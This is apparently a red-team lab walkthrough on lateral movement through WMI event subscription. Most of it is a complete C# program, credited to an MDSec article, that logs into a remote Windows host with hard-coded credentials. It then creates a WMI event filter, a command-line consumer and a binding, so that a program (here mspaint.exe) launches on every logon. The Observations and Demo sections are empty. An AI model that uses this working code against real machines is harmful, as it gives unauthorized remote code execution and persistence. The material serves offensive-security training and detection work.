Lateral Movement via WMI Event Subscription
Abusing Windows Managent Instrumentation



Walkthrough
// code completely stolen from @domchell article
// https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
// slightly modified to accommodate this lab
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;
namespace wmisubscription_lateralmovement
{
class Program
{
static void Main(string[] args)
{
// Connect to remote endpoint for WMI management
string NAMESPACE = @"\\192.168.56.105\root\subscription";
ConnectionOptions cOption = new ConnectionOptions();
ManagementScope scope = null;
scope = new ManagementScope(NAMESPACE, cOption);
scope.Options.Username = "spotless";
scope.Options.Password = "123456";
scope.Options.Authority = string.Format("ntlmdomain:{0}", ".");
scope.Options.EnablePrivileges = true;
scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
scope.Options.Impersonation = ImpersonationLevel.Impersonate;
scope.Connect();
// Create WMI event filter
ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);
string query = "SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'";
WqlEventQuery myEventQuery = new WqlEventQuery(query);
ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
myEventFilter["Name"] = "evilSpotlessFilter";
myEventFilter["Query"] = myEventQuery.QueryString;
myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
myEventFilter["EventNameSpace"] = @"root\cimv2";
myEventFilter.Put();
// Create WMI event consumer
ManagementObject myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
myEventConsumer["Name"] = "evilSpotlessConsumer";
myEventConsumer["ExecutablePath"] = "mspaint.exe";
myEventConsumer.Put();
// Bind filter and consumer
ManagementObject myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
myBinder["Filter"] = myEventFilter.Path.RelativePath;
myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
myBinder.Put();
// Cleanup
// myEventFilter.Delete();
// myEventConsumer.Delete();
// myBinder.Delete();
}
}
}Observations


Demo

References
Last updated